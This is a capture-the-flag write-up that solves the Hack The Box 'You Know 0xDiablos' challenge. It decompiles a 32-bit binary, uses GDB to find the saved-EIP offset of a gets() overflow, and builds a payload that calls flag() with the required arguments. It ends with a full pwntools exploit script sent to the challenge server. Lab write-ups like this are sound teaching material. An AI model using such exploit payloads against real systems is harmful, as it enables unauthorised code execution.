Hack The Box: Beginner Track - You Know 0xDiablos


This is the fifth piece of the Beginner’s Track: A challenge from the category “Pwn”.


You Know 0xDiablos

First of all, we download the zip-file from Hackthebox and unzip it. It contains a 32-bit executable called vuln:

$ file vuln
vuln: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=ab7f19bb67c16ae453d4959fba4e6841d930a6dd, for GNU/Linux 3.2.0, not stripped

When we open it, we receive a prompt and can type in some words. The command gets copied to output:

$ ./vuln
You know who are 0xDiablos: 
abc
abc

where the first “abc” is my user input and the second one is the response from the program. Let’s open the project in Ghidra and see how the source code looks like.


chall 0xdiablos

Searching for the string, we find that it gets called at 0804a038, and the corresponding function is 08049304. Clicking on the function, we find the following source code in the “decompiled” tab:


/* WARNING: Function: __x86.get_pc_thunk.bx replaced with injection: get_pc_thunk_bx */

undefined4 main(void)

{
  __gid_t __rgid;
  
  setvbuf(stdout,(char *)0x0,2,0);
  __rgid = getegid();
  setresgid(__rgid,__rgid,__rgid);
  puts("You know who are 0xDiablos: ");
  vuln();
  return 0;
}

where the function vuln() is defined as:


void vuln(void)

{
  char local_bc [180];
  
  gets(local_bc);
  puts(local_bc);
  return;
}

As we see, a local array of 180 characters is reserved. What happens if we put 181 characters inside? We can produce an array of 200 A’s in the python REPL (print('A'*200)) and put it into the user input. We receive a segmentation fault:

❯ ./vuln
You know who are 0xDiablos: 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[1]    5880 segmentation fault  ./vuln

This is because the gets function is vulnerable to buffer overflow: gets does not check the length of the input array (like local_bc) and overwrites memory it does not own if the string is longer than expected.


Next, let’s check how we are supposed to get the flag. There is a function flag which seems to print out the flag:

chall 0xdiablos

void flag(int param_1,int param_2)

{
  char local_50 [64];
  FILE *local_10;
  
  local_10 = fopen("flag.txt","r");
  if (local_10 != (FILE *)0x0) {
    fgets(local_50,0x40,local_10);
    if ((param_1 == -0x21524111) && (param_2 == -0x3f212ff3)) {
      printf(local_50);
    }
    return;
  }
  puts("Hurry up and try in on server side.");
                    /* WARNING: Subroutine does not return */
  exit(0);
}

This function will open a file “flag.txt”, saves its content in the variable local_10 and will print it if param_1 is equal to -0x21524111 and param_2 equal to -0x3f212ff3. Clicking on the values, we find that these two parameters are equivalent to “0xdeadbeef” and “0xc0ded00d” in assembly.

chall 0xdiablos


Lastly, let’s also check the main function.

undefined4 main(void)

{
  __gid_t __rgid;
  
  setvbuf(stdout,(char *)0x0,2,0);
  __rgid = getegid();
  setresgid(__rgid,__rgid,__rgid);
  puts("You know who are 0xDiablos: ");
  vuln();
  return 0;
}

It mainly calls the vuln() function. This shows that we probably need to overwrite the memory of vuln() to directly execute flag(). Let’s continue with a dynamic tool: GDP with the python extension PEDA.


First of all, we inspect the file with checksec:

gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : disabled
PIE       : disabled
RELRO     : Partial

This shows that all relevant security features are turned off.

gdb-peda$ start

[Thread debugging using libthread_db enabled]                                                                                                                  
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".                                                                                     
[----------------------------------registers-----------------------------------]                                                                               
EAX: 0x80492b1 (<main>: lea    ecx,[esp+0x4])
EBX: 0xf7e20ff4 --> 0x220d8c 
ECX: 0xffffcfa0 --> 0x1 
EDX: 0xffffcfc0 --> 0xf7e20ff4 --> 0x220d8c 
ESI: 0xffffd054 --> 0xffffd23f ("/home/kali/Chall-HTB/Pwn/YouKnow0xDiablos/vuln")
EDI: 0xf7ffcb80 --> 0x0 
EBP: 0xffffcf88 --> 0xf7ffd020 --> 0xf7ffda40 --> 0x0 
ESP: 0xffffcf80 --> 0xffffcfa0 --> 0x1 
EIP: 0x80492c0 (<main+15>:      sub    esp,0x10)
EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x80492bc <main+11>: mov    ebp,esp
   0x80492be <main+13>: push   ebx
   0x80492bf <main+14>: push   ecx
=> 0x80492c0 <main+15>: sub    esp,0x10
   0x80492c3 <main+18>: call   0x8049120 <__x86.get_pc_thunk.bx>
   0x80492c8 <main+23>: add    ebx,0x2d38
   0x80492ce <main+29>: mov    eax,DWORD PTR [ebx-0x4]
   0x80492d4 <main+35>: mov    eax,DWORD PTR [eax]
[------------------------------------stack-------------------------------------]
0000| 0xffffcf80 --> 0xffffcfa0 --> 0x1  
0004| 0xffffcf84 --> 0xf7e20ff4 --> 0x220d8c 
0008| 0xffffcf88 --> 0xf7ffd020 --> 0xf7ffda40 --> 0x0 
0012| 0xffffcf8c --> 0xf7c213b5 (add    esp,0x10)
0016| 0xffffcf90 --> 0xffffd23f ("/home/kali/Chall-HTB/Pwn/YouKnow0xDiablos/vuln")
0020| 0xffffcf94 --> 0x70 ('p')
0024| 0xffffcf98 --> 0xf7ffcff4 --> 0x35f2c 
0028| 0xffffcf9c --> 0xf7c213b5 (add    esp,0x10)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Temporary breakpoint 1, 0x080492c0 in main ()

This sets a temporary breakpoint in main.


Next, we create a pattern. This will help us understand what is happening in memory.

gdb-peda$ pattern_create 200 in.txt
Writing pattern of 200 chars to filename "in.txt"

We can run the programm with r and specify the input with <:

gdb-peda$ r < in.txt 

And as expected, the program stops with segmentation fault. GDB returns us the values of all registers:

[----------------------------------registers-----------------------------------]                                                                               
EAX: 0xc9 
EBX: 0x76414158 ('XAAv')
ECX: 0xf7e229b4 --> 0x0 
EDX: 0x1 
ESI: 0xffffd054 --> 0xffffd23f ("/home/kali/Chall-HTB/Pwn/YouKnow0xDiablos/vuln")
EDI: 0xf7ffcb80 --> 0x0 
EBP: 0x41594141 ('AAYA')
ESP: 0xffffcf70 ("ZAAxAAyA")
EIP: 0x41417741 ('AwAA')
EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41417741
[------------------------------------stack-------------------------------------]
0000| 0xffffcf70 ("ZAAxAAyA")
0004| 0xffffcf74 ("AAyA")
0008| 0xffffcf78 --> 0xf7fbfb00 --> 0xf7c1ac98 ("GCC_3.0")
0012| 0xffffcf7c --> 0x3e8 
0016| 0xffffcf80 --> 0xffffcfa0 --> 0x1  
0020| 0xffffcf84 --> 0xf7e20ff4 --> 0x220d8c 
0024| 0xffffcf88 --> 0xf7ffd020 --> 0xf7ffda40 --> 0x0 
0028| 0xffffcf8c --> 0xf7c213b5 (add    esp,0x10)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x41417741 in ?? ()

Now let’s check the value in the instruction pointer EIP: It is 0x41417741. The pattern_offset helps us checking the register’s offset:

gdb-peda$ pattern_offset 0x41417741
1094809409 found at offset: 188

As we can see, the representation is in little endian-format, as 0x41417741 corresponds to ‘AwAA’.


Now let’s get the address of the flag function:

gdb-peda$ info function flag
All functions matching regular expression "flag":
Non-debugging symbols:
0x080491e2  flag

This shows us that the flag function is stored at 0x080491e2. As we can control the EIP, let’s add the address to our payload so that the function will be executed:

import sys;
sys.stdout.buffer.write(b'A'*188 + b'\xe2\x91\x04\x08')

Now we write the output to a file and load it into vuln:

$ python3 payload.py > exploit.txt
$ cat exploit.txt | ./vuln 

and we get:

You know who are 0xDiablos: 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Hurry up and try in on server side.

So, this almost worked, but we did not get the flag because we did not set the parameters of the flag function right yet. In order to do this, we need to understand how functions look like on the stack. The first address is the saved frame pointer (EBP), followed by the function return address (EIP). After that come the function arguments, and then the function local variables.

chall 0xdiablos

Since we are on a 32-bit program, we need to reserve 32 bit=4 bytes for the return address. Then we write the address of the parameters. We know their assembly representation alrady from the Ghidra static analysis.

sys.stdout.buffer.write(b'A'*188 + b'\xe2\x91\x04\x08' + b'AAAA' + b'\xef\xbe\xad\xde\x0d\xd0\xde\xc0')

And it works:

$ cat exploit.txt | ./vuln
You know who are 0xDiablos: 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAᆳ
HTB{Testflag}

Lastly, we need to call up the instance and inject our payload there. Let’s craft a small script that does everything at once and is more readable, by using the p32() function and remote:

#! /usr/bin/python3

from pwn import *;

flag = 0x080491e2
host = "178.62.93.79"
port = 31743
param1 = 0xdeadbeef
param2 = 0xc0ded00d

payload = b'A'*188 + p32(flag) + b'A'*4 + p32(param1) + p32(param2)
print(payload)

p = remote(host, port)
p.sendline(payload)
p.interactive()

Executing this returns the flag.